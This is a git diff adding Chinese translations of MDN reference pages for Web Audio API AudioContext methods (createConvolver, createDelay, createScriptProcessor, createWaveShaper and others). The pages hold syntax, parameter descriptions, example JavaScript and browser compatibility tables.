The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

+
+ +

Syntax

+ +
var audioCtx = new AudioContext();
+var splitter = audioCtx.createChannelSplitter(2);
+ +

参数

+ +
+
numberOfOutputs
+
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
+
+ +

Returns

+ +

一个 {{domxref("ChannelSplitterNode")}}.

+ +

Example

+ +

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/createconvolver/index.html b/files/zh-cn/web/api/audiocontext/createconvolver/index.html new file mode 100644 index 0000000000..2cbe395edc --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createconvolver/index.html @@ -0,0 +1,131 @@ +--- +title: AudioContext.createConvolver() +slug: Web/API/AudioContext/createConvolver +translation_of: Web/API/BaseAudioContext/createConvolver +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var convolver = audioCtx.createConvolver();
+ +

返回值

+ +

{{domxref("ConvolverNode")}}对象。

+ +

例子

+ +

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

+ +

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var convolver = audioCtx.createConvolver();
+
+  ...
+
+// grab audio track via XHR for convolver node
+
+var soundSource, concertHallBuffer;
+
+ajaxRequest = new XMLHttpRequest();
+ajaxRequest.open('GET', 'concert-crowd.ogg', true);
+ajaxRequest.responseType = 'arraybuffer';
+
+ajaxRequest.onload = function() {
+  var audioData = ajaxRequest.response;
+  audioCtx.decodeAudioData(audioData, function(buffer) {
+      concertHallBuffer = buffer;
+      soundSource = audioCtx.createBufferSource();
+      soundSource.buffer = concertHallBuffer;
+    }, function(e){"Error with decoding audio data" + e.err});
+}
+
+ajaxRequest.send();
+
+  ...
+
+convolver.buffer = concertHallBuffer;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/createdelay/index.html b/files/zh-cn/web/api/audiocontext/createdelay/index.html new file mode 100644 index 0000000000..b8e502758d --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createdelay/index.html @@ -0,0 +1,213 @@ +--- +title: AudioContext.createDelay() +slug: Web/API/AudioContext/createDelay +translation_of: Web/API/BaseAudioContext/createDelay +--- +

{{ APIRef("Web Audio API") }}

+ +
+

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

+ +

 

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var synthDelay = audioCtx.createDelay(maxDelayTime);
+ +

参数

+ +
+
maxDelayTime
+
设置最大允许延迟的时间,以“秒”为单位
+
+ +

返回

+ +

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

+ +

以上是原文,大意是返回延时时间,没有设置时默认是0

+ +

 

+ +

示例

+ +

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

+ +
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
+
+try {//音频相关api
+    var audioContext = new window.AudioContext();
+    var synthDelay = audioContext.createDelay(5.0);
+} catch (e) {
+    alert("你浏览器不支持");
+}
+
+
+var error = function (error) {alert("有错误"); };
+
+//以下是获取麦克风
+if (navigator.getUserMedia) { //标准api
+ navigator.getUserMedia({ "audio": true },
+ function (stream) {
+ micto(stream);    //具体工作
+                   }, error);
+}else if(navigator.webkitGetUserMedia) {   //webkit api
+ navigator.webkitGetUserMedia({audio:true, video:  false },
+ function (stream) {
+  micto(stream); //具体工作
+                   }, error);
+ }else if (navigator.mozGetUserMedia) {  //火狐 api
+ navigator.mozGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ }else if (navigator.msGetUserMedia) { //ie api
+ navigator.msGetUserMedia({ "audio": true },
+ function (stream) {
+  micto(stream);//具体工作
+                   }, error);
+ } else {
+   alert("您的浏览器版不支持这个api");
+}
+
+
+
+
+
+ var micto = function(stream) {
+
+  synthDelay.delayTime.value = 3.0;   //延迟3秒
+
+  var source = audioContext.createMediaStreamSource(stream);
+
+  source.connect(synthDelay);
+
+  synthDelay.connect(audioContext.destination);
+
+      }
+ 
+ +

 

+ +

 以下是英文版示例

+ +

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var synthDelay = audioCtx.createDelay(5.0);
+
+  ...
+
+var synthSource;
+
+playSynth.onclick = function() {
+  synthSource = audioCtx.createBufferSource();
+  synthSource.buffer = buffers[2];
+  synthSource.loop = true;
+  synthSource.start();
+  synthSource.connect(synthDelay);
+  synthDelay.connect(destination);
+  this.setAttribute('disabled', 'disabled');
+}
+
+stopSynth.onclick = function() {
+  synthSource.disconnect(synthDelay);
+  synthDelay.disconnect(destination);
+  synthSource.stop();
+  playSynth.removeAttribute('disabled');
+}
+
+...
+
+var delay1;
+rangeSynth.oninput = function() {
+delay1 = rangeSynth.value;
+synthDelay.delayTime.value = delay1;
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/createmediaelementsource/index.html b/files/zh-cn/web/api/audiocontext/createmediaelementsource/index.html new file mode 100644 index 0000000000..9b7aec1420 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createmediaelementsource/index.html @@ -0,0 +1,167 @@ +--- +title: AudioContext.createMediaElementSource() +slug: Web/API/AudioContext/createMediaElementSource +translation_of: Web/API/AudioContext/createMediaElementSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 接口的 createMediaElementSource() 方法用于创建一个新的 {{ domxref("MediaElementAudioSourceNode") }} 对象,输入某个存在的 HTML {{htmlelement("audio")}} or {{htmlelement("video")}} 元素, 对应的音频即可被播放或者修改.

+
+ +

为寻求更多关于媒体元素音频源节点的具体信息,请查阅 {{ domxref("MediaElementAudioSourceNode") }} 参考页.

+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+ +

参数

+ +
+
myMediaElement
+
某个被期待被录入音频处理图修改的 {{domxref("HTMLMediaElement")}} 对象.
+
+ +

返回值

+ +

一个 {{domxref("MediaElementAudioSourceNode")}} 对象.

+ +

示例

+ +

该示例由 {{htmlelement("audio") }} 元素,通过使用 createMediaElementSource() 方法,创建了一个音源,将其通过 {{ domxref("GainNode") }} 节点,输出到{{ domxref("AudioDestinationNode") }} 节点以播放.当鼠标指针移动时, updatePage() 函数被调用,该函数计算当前鼠标Y坐标与页面高度的比值, 改变 {{ domxref("GainNode") }} 节点的值以调整音量.您就可以通过鼠标上下移动而改变音乐的音量了.

+ +
+

Note: 您也可以 浏览该示例的在线演示, 或者 浏览源代码.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Create a MediaElementAudioSourceNode
+// Feed the HTMLMediaElement into it
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Create a gain node
+var gainNode = audioCtx.createGain();
+
+// Create variables to store mouse pointer Y coordinate
+// and HEIGHT of screen
+var CurY;
+var HEIGHT = window.innerHeight;
+
+// Get new mouse pointer coordinates when mouse is moved
+// then set new gain value
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    gainNode.gain.value = CurY/HEIGHT;
+}
+
+
+// connect the AudioBufferSourceNode to the gainNode
+// and the gainNode to the destination, so we can play the
+// music and adjust the volume using the mouse cursor
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+ +
+

Note: 作为调用 createMediaElementSource() 的结果,{{domxref("HTMLMediaElement")}} 的播放将会由AudioContext的音频处理图接管.所以对媒体进行播放/暂停等操作仍可通过media API与播放器面板来进行.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
+

6.0{{property_prefix("webkit")}}

+ +

- buggy! not working -

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}} +

{{CompatUnknown}}

+ +

- buggy! not working -

+
33.0
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/audiocontext/createmediastreamdestination/index.html b/files/zh-cn/web/api/audiocontext/createmediastreamdestination/index.html new file mode 100644 index 0000000000..c934a2fd2d --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createmediastreamdestination/index.html @@ -0,0 +1,161 @@ +--- +title: AudioContext.createMediaStreamDestination() +slug: Web/API/AudioContext/createMediaStreamDestination +translation_of: Web/API/AudioContext/createMediaStreamDestination +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的createMediaStreamDestination()方法用于创建一个新的对象,该对象关联着表示音频流的一个 WebRTC {{domxref("MediaStream")}} ,音频流可以存储在本地文件或者被发送到另外一台计算机.

+
+ +

The {{domxref("MediaStream")}} is created when the node is created and is accessible via the {{domxref("MediaStreamAudioDestinationNode")}}'s stream attribute. This stream can be used in a similar way as a MediaStream obtained via {{domxref("navigator.getUserMedia") }} — it can, for example, be sent to a remote peer using the RTCPeerConnection addStream() method.

+ +

For more details about media stream destination nodes, check out the {{domxref("MediaStreamAudioDestinationNode")}} reference page.

+ +

语法

+ +
var audioCtx = new AudioContext();
+var destination = audioCtx.createMediaStreamDestination();
+ +

返回值

+ +

A {{domxref("MediaStreamAudioDestinationNode")}}.

+ +

Example

+ +

In the following simple example, we create a {{domxref("MediaStreamAudioDestinationNode")}}, an {{ domxref("OscillatorNode") }} and a {{ domxref("MediaRecorder") }} (the example will therefore only work in Firefox at this time.) The MediaRecorder is set up to record information from the MediaStreamDestinationNode.

+ +

When the button is clicked, the oscillator starts, and the MediaRecorder is started. When the button is stopped, the oscillator and MediaRecorder both stop. Stopping the MediaRecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array. After that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a URL created from the blob.

+ +

From here, you can play and save the opus file.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>createMediaStreamDestination() demo</title>
+  </head>
+  <body>
+    <h1>createMediaStreamDestination() demo</h1>
+
+    <p>Encoding a pure sine wave to an Opus file </p>
+    <button>Make sine wave</button>
+    <audio controls></audio>
+    <script>
+     var b = document.querySelector("button");
+     var clicked = false;
+     var chunks = [];
+     var ac = new AudioContext();
+     var osc = ac.createOscillator();
+     var dest = ac.createMediaStreamDestination();
+     var mediaRecorder = new MediaRecorder(dest.stream);
+     osc.connect(dest);
+
+     b.addEventListener("click", function(e) {
+       if (!clicked) {
+           mediaRecorder.start();
+           osc.start(0);
+           e.target.innerHTML = "Stop recording";
+           clicked = true;
+         } else {
+           mediaRecorder.stop();
+           osc.stop(0);
+           e.target.disabled = true;
+         }
+     });
+
+     mediaRecorder.ondataavailable = function(evt) {
+       // push each chunk (blobs) in an array
+       chunks.push(evt.data);
+     };
+
+     mediaRecorder.onstop = function(evt) {
+       // Make blob out of our blobs, and open it.
+       var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+       document.querySelector("audio").src = URL.createObjectURL(blob);
+     };
+    </script>
+  </body>
+</html>
+ +
+

Note: You can view this example live, or study the source code, on Github.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createMediaStreamDestination-MediaStreamAudioDestinationNode', 'createMediaStreamDestination()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/createmediastreamsource/index.html b/files/zh-cn/web/api/audiocontext/createmediastreamsource/index.html new file mode 100644 index 0000000000..8ded5b30d6 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createmediastreamsource/index.html @@ -0,0 +1,180 @@ +--- +title: AudioContext.createMediaStreamSource() +slug: Web/API/AudioContext/createMediaStreamSource +translation_of: Web/API/AudioContext/createMediaStreamSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}接口的createMediaStreamSource()方法用于创建一个新的{{ domxref("MediaStreamAudioSourceNode") }} 对象, 需要传入一个媒体流对象(MediaStream对象)(可以从 {{ domxref("navigator.getUserMedia") }} 获得MediaStream对象实例), 然后来自MediaStream的音频就可以被播放和操作。

+
+ +

更多关于媒体流音频源(media stream audio source nodes)的细节, 请参考{{ domxref("MediaStreamAudioSourceNode") }} 页面.

+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaStreamSource(stream);
+ +

参数

+ +
+
stream
+
一个{{domxref("MediaStream")}} 对象,把他传入一个音频处理器进行操作
+
+ +

返回

+ +

 {{domxref("MediaStreamAudioSourceNode")}}

+ +

示例

+ +

本例中,我们从 {{ domxref("navigator.getUserMedia") }}获取媒体 (audio + video) 流,,把它传入 {{ htmlelement("video") }}中播放,并把视频调成静音,然后把获取到的audio传入 {{ domxref("MediaStreamAudioSourceNode") }}。接下来我们把获取到的audio传入{{ domxref("BiquadFilterNode") }} (可以把声音转化为低音),输出到 {{domxref("AudioDestinationNode") }}.

+ +

{{ htmlelement("video") }} 元素下面滑动杆控制低音过滤器过滤的程度,滑动杆的值越大,低音更明显

+ +
+

注意:你可以查看 在线演示,或者 查看源码

+
+ +
var pre = document.querySelector('pre');
+var video = document.querySelector('video');
+var myScript = document.querySelector('script');
+var range = document.querySelector('input');
+
+// getUserMedia获取流
+// 把流放入MediaStreamAudioSourceNode
+// 输出到video元素
+
+if (navigator.mediaDevices) {
+    console.log('getUserMedia supported.');
+    navigator.mediaDevices.getUserMedia ({audio: true, video: true})
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.onloadedmetadata = function(e) {
+            video.play();
+            video.muted = true;
+        };
+
+        // 创建MediaStreamAudioSourceNode
+        // Feed the HTMLMediaElement into it
+        var audioCtx = new AudioContext();
+        var source = audioCtx.createMediaStreamSource(stream);
+
+        // 创建二阶滤波器
+        var biquadFilter = audioCtx.createBiquadFilter();
+        biquadFilter.type = "lowshelf";
+        biquadFilter.frequency.value = 1000;
+        biquadFilter.gain.value = range.value;
+
+        // 把AudioBufferSourceNode连接到gainNode
+        // gainNode连接到目的地, 所以我们可以播放
+        // 音乐并用鼠标调节音量
+        source.connect(biquadFilter);
+        biquadFilter.connect(audioCtx.destination);
+
+        // Get new mouse pointer coordinates when mouse is moved
+        // then set new gain value
+
+        range.oninput = function() {
+            biquadFilter.gain.value = range.value;
+        }
+    })
+    .catch(function(err) {
+        console.log('The following gUM error occured: ' + err);
+    });
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +
+

注意: 调用createMediaStreamSource(), 来自于媒体流的音频回放将被重新传到AudioContext的处理器中。所以播放/暂停流仍然是可以通过media元素的API和自带的控制器控制。

+
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createMediaStreamSource-MediaStreamAudioSourceNode-MediaStream-mediaStream', 'createMediaStreamSource()')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html new file mode 100644 index 0000000000..7e505bc06a --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html @@ -0,0 +1,199 @@ +--- +title: AudioContext.createScriptProcessor() +slug: Web/API/AudioContext/createScriptProcessor +translation_of: Web/API/BaseAudioContext/createScriptProcessor +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
+ +

参数

+ +
+
bufferSize
+
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
+
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
+
numberOfInputChannels
+
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
+
numberOfOutputChannels
+
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
+
+ +
+

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

+
+ +
+

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

+
+ +

返回

+ +

A {{domxref("ScriptProcessorNode")}}.

+ +

示例

+ +

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

+ +
+

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

+
+ +
var myScript = document.querySelector('script');
+var myPre = document.querySelector('pre');
+var playButton = document.querySelector('button');
+
+// Create AudioContext and buffer source
+var audioCtx = new AudioContext();
+source = audioCtx.createBufferSource();
+
+// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
+var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
+console.log(scriptNode.bufferSize);
+
+// load in an audio track via XHR and decodeAudioData
+
+function getData() {
+  request = new XMLHttpRequest();
+  request.open('GET', 'viper.ogg', true);
+  request.responseType = 'arraybuffer';
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+    myBuffer = buffer;
+    source.buffer = myBuffer;
+  },
+    function(e){"Error with decoding audio data" + e.err});
+  }
+  request.send();
+}
+
+// Give the node a function to process audio events
+scriptNode.onaudioprocess = function(audioProcessingEvent) {
+  // The input buffer is the song we loaded earlier
+  var inputBuffer = audioProcessingEvent.inputBuffer;
+
+  // The output buffer contains the samples that will be modified and played
+  var outputBuffer = audioProcessingEvent.outputBuffer;
+
+  // Loop through the output channels (in this case there is only one)
+  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
+    var inputData = inputBuffer.getChannelData(channel);
+    var outputData = outputBuffer.getChannelData(channel);
+
+    // Loop through the 4096 samples
+    for (var sample = 0; sample < inputBuffer.length; sample++) {
+      // make output equal to the same as the input
+      outputData[sample] = inputData[sample];
+
+      // add noise to each output sample
+      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
+    }
+  }
+}
+
+getData();
+
+// wire up play button
+playButton.onclick = function() {
+  source.connect(scriptNode);
+  scriptNode.connect(audioCtx.destination);
+  source.start();
+}
+
+// When the buffer source stops playing, disconnect everything
+source.onended = function() {
+  source.disconnect(scriptNode);
+  scriptNode.disconnect(audioCtx.destination);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html new file mode 100644 index 0000000000..7aef8d5688 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html @@ -0,0 +1,133 @@ +--- +title: AudioContext.createWaveShaper() +slug: Web/API/AudioContext/createWaveShaper +translation_of: Web/API/BaseAudioContext/createWaveShaper +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

+ +

语法

+ +
var audioCtx = new AudioContext();
+var distortion = audioCtx.createWaveShaper();
+ +

返回

+ +

A {{domxref("WaveShaperNode")}}.

+ +

例子

+ +

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

+ +

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

+ +
+

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var distortion = audioCtx.createWaveShaper();
+
+  ...
+
+function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+  ...
+
+distortion.curve = makeDistortionCurve(400);
+distortion.oversample = '4x';
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
